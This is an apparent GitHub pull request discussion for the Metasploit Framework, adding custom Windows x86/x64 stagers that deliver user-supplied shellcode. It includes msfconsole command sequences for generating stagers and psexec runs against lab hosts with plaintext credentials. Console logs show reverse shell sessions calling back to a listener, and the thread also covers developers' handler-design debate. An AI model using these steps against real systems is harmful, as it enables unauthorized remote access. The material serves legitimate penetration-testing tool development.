Add custom stager
Alternative solution to https://github.com/rapid7/metasploit-framework/pull/16397
This is a draft PR and needs to have support added for x64 windows, but I wanted to get some eyes on it, first....
This is a PR that adds support for a custom stager type for windows x86.
Basically, the goal is to let someone use a Metasploit-derived stager and handler with their own custom shellcode.
To do this, we needed to shim in a way to get windows/*/reverse_http to play like windows/*/reverse_tcp when it comes to prepended size values. Also, we added a handler with an option to prepend the size for you if you just give it the shellcode.
Verification
List the steps needed to make sure this thing works
To use this with a binary shellcode blob (I used a meterpreter single-type payload like windows/shell_reverse_http):
In framework window 1:
- [ ] Start
msfconsole - [ ]
use payload/windows/shell_reverse_http - [ ]
set LHOST <lhost> - [ ]
set LPORT <lport> - [ ]
generate -f raw -o <shell_payloadfilename.bin> - [ ]
to_handler - [ ]
use payload/windows/custom/reverse_http - [ ]
set SHELLCODE_FILE <shell_payloadfilename.bin> - [ ]
set PrependSize true(Default is true) - [ ]
generate -f exe -o <stager_filename.exe> - [ ]
to_handler
Upload stager_filename.exe to a windows host. You should get the callback to your custom handler that uploads the single payload as shellcode and runs it, then you should get a callback on the second handler and get your session.
Also, as this custom handler is sockedi compliant, it will play seamlessly with our meterpreter payloads that share a socket....
- [ ] Start
msfconsole - [ ]
use payload/windows/custom/reverse_tcp - [ ]
set LHOST <lhost> - [ ]
set LPORT <lport> - [ ]
generate -f exe -o <stager_filename.exe> - [ ]
use payload/windows/meterpreter/reverse_tcp - [ ]
set LHOST <lhost> - [ ]
set LPORT <lport> - [ ]
to_handler
Upload stager_filename.exe to a windows host. You should get the callback to your meterpreter handler that uploads the meterpreter stage and gives you a session on the original socket.
As an aside, I'd assumed reverse_http was basically sort of sockedi compliant, but on a second look, it is decidedly not. It looks like the handler for the internet file is in esi, so I need to double check that I have the compatibility correct. It means that we could not use cross-transport stages/stagers, but I assume this would explode if we treated a handle to an internet file like a socket, anyway. Curious if there's a good way to enforce that, but given the fluid nature, I think documentation would be the best bet.....

In both of these cases I was using a windows shell stageless payload with a separate listener.
reverse_winhttp
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.5.132.105 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
ng-Metasploit
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read
/write folder share
SMBUser no The username to authenticate as
Payload options (windows/custom/reverse_winhttp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.5.135.101 yes The local listener hostname
LPORT 8080 yes The local listener port
LURI no The HTTP Path
SHELLCODE_FILE no shellcode bin to launch
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/smb/psexec) > set shellcode_FilE '/home/tmoose/rapid7/metasploit-framework/revtcp_shell_4567.bin'
shellcode_FilE => /home/tmoose/rapid7/metasploit-framework/revtcp_shell_4567.bin
msf6 exploit(windows/smb/psexec) > set smbuser vagrant
smbuser => vagrant
msf6 exploit(windows/smb/psexec) > set smbpass vagrant
smbpass => vagrant
msf6 exploit(windows/smb/psexec) > set rhost 10.5.132.173
rhost => 10.5.132.173
msf6 exploit(windows/smb/psexec) > run
[*] Started HTTP reverse handler on http://10.5.135.101:8080/
[*] 10.5.132.173:445 - Connecting to the server...
[*] 10.5.132.173:445 - Authenticating to 10.5.132.173:445 as user 'vagrant'...
[*] 10.5.132.173:445 - Selecting PowerShell target
[*] 10.5.132.173:445 - Executing the payload...
[+] 10.5.132.173:445 - Service start timed out, OK if running a command or non-service executable...
[!] http://10.5.135.101:8080/ handling request from 10.5.132.173; (UUID: phgc1wco) Without a database connected that payload UUID tracking will not work!
Trying to stage Payload
[*] http://10.5.135.101:8080/ handling request from 10.5.132.173; (UUID: phgc1wco) Staging x86 payload (328 bytes) ...
[*] Command shell session 1 opened (10.5.135.101:4567 -> 10.5.132.173:49680 ) at 2022-05-13 08:07:13 -0500
reverse_winhttp x64
msf6 payload(windows/x64/shell_reverse_tcp) > use exploit/windows/smb/psexec
set[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
ng-Metasploit
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read
/write folder share
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.5.135.101 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/smb/psexec) > set rhost 10.5.132.173
rhost => 10.5.132.173
msf6 exploit(windows/smb/psexec) > set smbuser vagrant
smbuser => vagrant
msf6 exploit(windows/smb/psexec) > set smbpass vagrant
smbpass => vagrant
msf6 exploit(windows/smb/psexec) > set payload windows/x64/custom/reverse_winhttp
payload => windows/x64/custom/reverse_winhttp
msf6 exploit(windows/smb/psexec) > set shellcode_file '/home/tmoose/rapid7/metasploit-framework/revtcpx64_shell_4564.bin'
shellcode_file => /home/tmoose/rapid7/metasploit-framework/revtcpx64_shell_4564.bin
msf6 exploit(windows/smb/psexec) > run
[*] Started HTTP reverse handler on http://10.5.135.101:4444/
[*] 10.5.132.173:445 - Connecting to the server...
[*] 10.5.132.173:445 - Authenticating to 10.5.132.173:445 as user 'vagrant'...
[*] 10.5.132.173:445 - Selecting PowerShell target
[*] 10.5.132.173:445 - Executing the payload...
[+] 10.5.132.173:445 - Service start timed out, OK if running a command or non-service executable...
[!] http://10.5.135.101:4444/ handling request from 10.5.132.173; (UUID: kdmx6vcq) Without a database connected that payload UUID tracking will not work!
Trying to stage Payload
[*] http://10.5.135.101:4444/ handling request from 10.5.132.173; (UUID: kdmx6vcq) Staging x64 payload (464 bytes) ...
[*] Command shell session 1 opened (10.5.135.101:4564 -> 10.5.132.173:49687 ) at 2022-05-13 08:33:09 -0500
So for outstanding items it looks like we still need:
- [ ] Unnecessary rubocop changes dropped from the change set
Just on that, it'd be great to rebase/squash that noise out of the commit history just to keep things clean :+1:
- [x] Fixes for double-prepending the size, ie the PrependSize option should be dropped because it's just always prepended now. By removing it where it's added for the reverse_tcp/bind_tcp handlers we can make it just always work without needing the user to know it. See this as an example.
I'm still thinking this through, and I'm not sure how I feel about it. My gut says it should stay, but I'm struggling to find a strong defense of my gut, so you're probably right and I'm going to change my mind to agree with you in short order. I just haven't gotten there. yet.
I tried running update payload cache size, but it seems that the generated numbers were wrong? I just grabbed the expected values from the logs and copied them over. 🤷
I ran into an odd situation where the shellcode file was nil, so the handler failed when it tried to stage a nil stage. There is not great way to prevent that situation, because a use case here is to create a custom stager, then have it call back to a different handler, so in that case, no shellcode_file is required, so we cannot mark shellcode_file as required. Instead, I just added a better error message than "length is not a method for nil" and crashing.
Should the handler be allowed to run when it does not have the stage to serve?
If the file referenced to be staged is available the handler would start and be expected to hand off the stage which in some cases will continue traffic to the handler or in other cases connect to another C2 configured in the stage it is handing out. In the case where the file is not actually available is the handler framework even for a stager? Would it be reasonable to simply report that the stage is not available and no listener will be opened?
@jmartin-r7, yeah. I should have been more specific; it is not just an error message, it is a fail_with message during the handler setup code. If someone tries to launch a handler when the SHELLCODE_FILE is nil, the handler fails with Msf::Module::Failure::BadConfig, "No SHELLCODE_FILE provided" . If the SHELLCODE_FILE provided cannot be opened, it fails with Msf::Module::Failure::BadConfig, "Bad SHELLCODE_FILE provided".
Reloading old context, I "think" what I was suggesting is that the code here should not call fail_with but simply log that no handler is being opened as SHELLCODE_FILE is nil to signify that the handler is expected to be managed by user via an external process not known inside the console.
I see what you're saying. To accomplish that, we'd need to put a check in (I believe) the exploit core library. Then we could skip the handler setup and start.
That said, I still think that placing the code in the custom payload handler is a better option, and the more I think about it, the more I think is should remain a fail_with rather than trying to guess what the user intended.
In the case of a simple payload, it makes sense to me to say "You did not give us a stager, then we expect you to have a listener elsewhere" and continue, but in the case of an exploit, I'd argue we should not guess at behavior. Placing the check in the handler and calling a fail_with should cause the exploit to fail before the exploit is thrown, and it will tell the user "something's wrong; fix it" and not send the exploit code.
In general I think fail_with is a reasonable compromise. Holding this for a better solution does not seem valuable. In the case of an exploit, if the file was not available when starting the exploit setting up handler is not going to matter.
In a separate scenario, asking the user for affirmative configuration to indicate the handler is not expected to be interacted with when utilizing this payload might have value as a future iteration. As is framework would possibly record failure when an exploit delivers a custom payload that will interact with an external handler, this likely already exists to an extent with the Custom::EXE payload options though.
msf6 exploit(windows/smb/psexec) > use payload/windows/x64/shell_reverse_tcp
msf6 payload(windows/x64/shell_reverse_tcp) > set lhost 10.5.135.101
lhost => 10.5.135.101
msf6 payload(windows/x64/shell_reverse_tcp) > set lport 4568
lport => 4568
msf6 payload(windows/x64/shell_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
[*] Started reverse TCP handler on 10.5.135.101:4568
msf6 payload(windows/x64/shell_reverse_tcp) > use exploit/windows/smb/psexec
[*] Using configured payload windows/x64/custom/reverse_tcp
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.5.132.159 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
ng-Metasploit
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass v3Mpassword no The password for the specified username
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read
/write folder share
SMBUser Administrator no The username to authenticate as
Payload options (windows/x64/custom/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.5.135.101 yes The listen address (an interface may be specified)
LPORT 4567 yes The listen port
SHELLCODE_FILE shell_revtcp_4568.bin no Shellcode bin to launch
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.5.135.101:4567
[*] 10.5.132.159:445 - Connecting to the server...
[*] 10.5.132.159:445 - Authenticating to 10.5.132.159:445 as user 'Administrator'...
[!] 10.5.132.159:445 - No active DB -- Credential data will not be saved!
[*] 10.5.132.159:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
[*] 10.5.132.159:445 - PowerShell found
[*] 10.5.132.159:445 - Selecting PowerShell target
[*] 10.5.132.159:445 - Powershell command length: 4479
[*] 10.5.132.159:445 - Executing the payload...
[*] 10.5.132.159:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.5.132.159[\svcctl] ...
[*] 10.5.132.159:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.5.132.159[\svcctl] ...
[*] 10.5.132.159:445 - Obtaining a service manager handle...
[*] 10.5.132.159:445 - Creating the service...
[+] 10.5.132.159:445 - Successfully created the service
[*] 10.5.132.159:445 - Starting the service...
[+] 10.5.132.159:445 - Service start timed out, OK if running a command or non-service executable...
[*] 10.5.132.159:445 - Removing the service...
[+] 10.5.132.159:445 - Successfully removed the service
[*] 10.5.132.159:445 - Closing service handle...
[*] Sending stage (460 bytes) to 10.5.132.159
[+] Custom stage sent; session has been closed
[*] Custom session 1 opened (10.5.135.101:4567 -> 127.0.0.1) at 2022-09-07 15:42:03 -0500
[*] 10.5.132.159 - Custom session 1 closed. Reason: User exit
[+] Custom stage sent; session has been closed
msf6 exploit(windows/smb/psexec) > [*] Command shell session 2 opened (10.5.135.101:4568 -> 10.5.132.159:55490) at 2022-09-07 15:42:08 -0500
msf6 exploit(windows/smb/psexec) > sessions -i -1
[*] Starting interaction with 2...
Shell Banner:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
-----
C:\Windows\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::1054:53:8f37:5615%11
IPv4 Address. . . . . . . . . . . : 10.5.132.159
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.5.132.1
Tunnel adapter isatap.{A69D5981-18E2-43CF-982C-D844D6BB7D03}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
C:\Windows\system32>
Release Notes
This adds a 32-bit and 64-bit custom stage Windows payload. The custom stage allows users to provide their own custom executable code to be delivered as the payload stage in place of Meterpreter, Shell and other Metasploit-provided stages.
Can you add manual byte length increase? https://github.com/rapid7/metasploit-framework/pull/16397
@a3sroot- this implementation uses the first four bytes sent to the stager as the size. If you are using the Metasploit handler, it will calculate that sized based on the shellcode file you provide, and then send that size prepended onto the shellcode, so you should not have to do anything to change the size as it will be calculated for you. If you do not want to use the Metasploit handler, you will need to append the size of the shellcode with a 4 byte value before sending it to the stager.
I am trying to stage very large payloads (Sliver for example) and it doesn't seem to like it. It works fine with custom/reverse_tcp but custom/reverse_https it doesn't. I have tried smaller payloads and it works fine. What I did was used donut to convert the exe to shellcode and served it with the multi/handler, setting shellcode_file attribute. Is there a work around on this?
@EAGAIIN Would you mind opening a fresh ticket for us to look into your issue? The stagers have inconsistent limitations in terms of size, so it's possible that reverse_https is using a smaller limit. I can look into it, but it'd be helpful to have replication steps for what you're trying to do and more importantly the size of your payload. I'm not sure what exactly you consider large, so if I could get the count of bytes, that'd help me replicate it and check if our limits are the problem.
Feel free to tag me in the new issue so I get notified.